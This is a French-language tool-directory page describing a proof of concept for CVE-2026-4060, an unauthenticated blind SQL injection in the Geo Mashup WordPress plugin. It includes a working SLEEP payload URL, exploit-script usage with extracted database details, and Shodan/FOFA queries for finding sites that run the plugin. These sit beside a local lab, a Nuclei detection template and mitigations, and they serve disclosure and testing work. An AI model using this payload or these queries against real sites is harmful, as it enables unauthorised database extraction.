Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-4060-PoC — Preuve de concept pour CVE-2026-4060 : injection SQL aveugle basée sur le temps sans authentification dans le plugin WordPress Geo Mashup via la clause ORDER BY. Comprend un script d'exploitation, un environnement de laboratoire et un modèle de détection Nuclei. | Kitploit
Outils/GitHubGitHub/ydking0911/cve-2026-4060-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

Preuve de concept pour CVE-2026-4060 : injection SQL aveugle basée sur le temps sans authentification dans le plugin WordPress Geo Mashup via la clause ORDER BY. Comprend un script d'exploitation, un environnement de laboratoire et un modèle de détection Nuclei.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 Preuve de concept d'injection SQL non authentifiée

Severity CVSS Type Status

Des attaquants non authentifiés peuvent injecter du SQL arbitraire dans la clause ORDER BY via le paramètre sort du point de terminaison render-map de Geo Mashup, permettant l'extraction aveugle basée sur le temps d'informations sensibles de la base de données.


Table des matières

  • Présentation de la vulnérabilité
  • Environnement de test
  • Comment exécuter
  • Résultats des tests
  • Mesures d'atténuation
  • Détection
  • Chronologie
  • Références

  • Présentation de la vulnérabilité

    ChampDétail
    CVECVE-2026-4060
    PluginGeo Mashup par cyberhobo
    Versions affectées≤ 1.13.18
    Corrigé dans1.13.19
    CVSS v3.17.5 (Élevée) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    CWECWE-89 — Neutralisation inappropriée d'éléments spéciaux utilisés dans une requête SQL
    Authentification requiseAucune (non authentifié)

    Détail technique

    Le paramètre sort accepté par le point de terminaison render-map est passé directement dans un appel $wpdb->get_results() sans assainissement :

    root@kitploit:~
    // render-map.php (simplified)
    $sort = $_GET['sort'];
    $results = $wpdb->get_results(
        "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
    );
    

    Comme $sort est interpolé tel quel, un attaquant peut injecter une sous-requête dans la clause ORDER BY. Le wpdb de WordPress échappe les guillemets simples, donc le PoC utilise ORD(SUBSTRING(...)) avec des comparaisons numériques pour contourner cette restriction et effectuer une extraction aveugle basée sur le temps.

    Point de terminaison vulnérable :

    root@kitploit:~
    GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
    

    Environnement de test

    ComposantVersion
    Système d'exploitationmacOS (Darwin 25.4.0)
    Docker27.x
    WordPress6.8.2 (PHP 8.2, Apache)
    MariaDB11.4
    Geo Mashup1.13.18 (vulnérable)
    Python3.x (pour poc.py)
    Nucleiv3.8.0

    Architecture du laboratoire

    root@kitploit:~
    ┌─────────────────────────────────┐
    │  Host (localhost:8080)          │
    │                                 │
    │  ┌─────────────┐  ┌──────────┐  │
    │  │ WordPress   │  │ MariaDB  │  │
    │  │ 6.8.2+PHP82 │──│  11.4    │  │
    │  │ :80         │  │ :3306    │  │
    │  └─────────────┘  └──────────┘  │
    │       + Geo Mashup 1.13.18      │
    └─────────────────────────────────┘
    

    Geo Mashup 1.13.18 actif dans l'admin WordPress :

    Geo Mashup 1.13.18 actif dans l'admin WordPress


    Comment exécuter

    1. Démarrer le laboratoire

    root@kitploit:~
    git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
    cd CVE-2026-4060-PoC
    bash setup.sh
    

    setup.sh va :

    • Démarrer les conteneurs WordPress 6.8.2 + MariaDB 11.4
    • Installer et activer Geo Mashup 1.13.18 (version vulnérable) via WP-CLI
    • Créer un article avec géolocalisation afin que le point de terminaison de la carte renvoie une réponse valide

    Une fois terminé :

    • Site : http://localhost:8080
    • Admin : http://localhost:8080/wp-admin (utilisateur : admin / mot de passe : admin)

    2. Confirmer la vulnérabilité (injection SLEEP)

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    Un délai de réponse d'environ 8 secondes confirme l'injection SQL dans ORDER BY.

    3. Extraire les données (PoC)

    root@kitploit:~
    # Default — print extracted results only
    python3 poc.py --url http://localhost:8080
    
    # Verbose — show each payload, response time, and extracted character
    python3 poc.py --url http://localhost:8080 --verbose
    
    # Confirm SQLi only, skip data extraction
    python3 poc.py --url http://localhost:8080 --confirm-only
    

    4. Exécuter le modèle de détection Nuclei

    root@kitploit:~
    nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
    

    5. Arrêter le laboratoire

    root@kitploit:~
    docker compose down -v
    

    Résultats des tests

    Vrai positif (TP) — Cible vulnérable

    TP-1 : Injection ORDER BY SLEEP(8) confirmée

    L'injection d'une sous-requête SLEEP(8) via le paramètre sort produit un délai de réponse d'environ 8 secondes.

    root@kitploit:~
    time curl -s -o /dev/null \
      "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
    

    SLEEP(8) via ORDER BY — réponse en 8,05 s

    TP-2 : Extraction des données (mode verbeux)

    Le PoC extrait les données caractère par caractère à l'aide de comparaisons ORD(SUBSTRING(...)) : envoyer la charge utile → mesurer le temps de réponse → confirmer le caractère lorsque SLEEP se déclenche.

    root@kitploit:~
    python3 poc.py --url http://localhost:8080 --verbose
    

    poc.py verbeux — charge utile, temporisation, caractères extraits

    Données extraites :

    RequêteRésultat
    VERSION()11.4.10-MariaDB
    DATABASE()wordpress
    USER()[email protected]

    TP-3 : Détection par le modèle Nuclei

    root@kitploit:~
    [CVE-2026-4060] [http] [high]
    http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
    
    Scan completed in 8.07s. 1 matches found.
    

    Faux positif (FP) — Cible non vulnérable

    Le modèle Nuclei utilise un flux en deux étapes pour éviter les faux positifs.

    FP-1 : Geo Mashup non installé

    Si readme.txt renvoie une 404 à l'étape 1, l'analyse se termine immédiatement sans envoyer la charge utile SQL.

    root@kitploit:~
    Scan completed in 62ms. 0 matches found.   ✅
    

    FP-2 : Version corrigée (≥ 1.13.19)

    Vérification de la version du plugin via readme.txt :

    readme.txt montrant Stable tag : 1.13.18

    Si compare_versions(version, '<= 1.13.18') échoue, l'étape 2 est entièrement ignorée.

    root@kitploit:~
    Scan completed in 19ms. 0 matches found.   ✅
    

    Mesures d'atténuation

    ActionDétail
    Mise à jourMettre à niveau Geo Mashup vers 1.13.19 ou une version ultérieure
    TemporaireDésactiver le plugin jusqu'à l'application d'une mise à jour
    WAFBloquer les modèles d'injection de sous-requêtes dans les clauses ORDER BY

    Commit de correctif : plugins.trac.wordpress.org/changeset/3503627


    Détection

    Modèle Nuclei : nuclei/CVE-2026-4060.yaml

    Flux de détection :

    root@kitploit:~
    Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
            → confirm plugin exists + version <= 1.13.18
    
    Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
            → status 200 + GeoMashup.createMap + duration >= 8s
    

    Shodan / FOFA :

    root@kitploit:~
    Shodan: http.html:"geo-mashup"
    FOFA:   body="geo-mashup"
    

    Chronologie

    DateÉvénement
    2026-04Vulnérabilité découverte
    2026-04Signalée à l'auteur du plugin
    2026-05Correctif Geo Mashup 1.13.19 publié
    2026-05-14CVE attribué et divulgation publique

    Références

    • NVD — CVE-2026-4060
    • Avis Wordfence
    • Correctif du plugin (changeset)
    • CWE-89

    Avertissement

    Ce dépôt est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.
    Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.
    L'auteur n'est pas responsable de toute utilisation abusive de ce contenu.

    Télécharger l’outil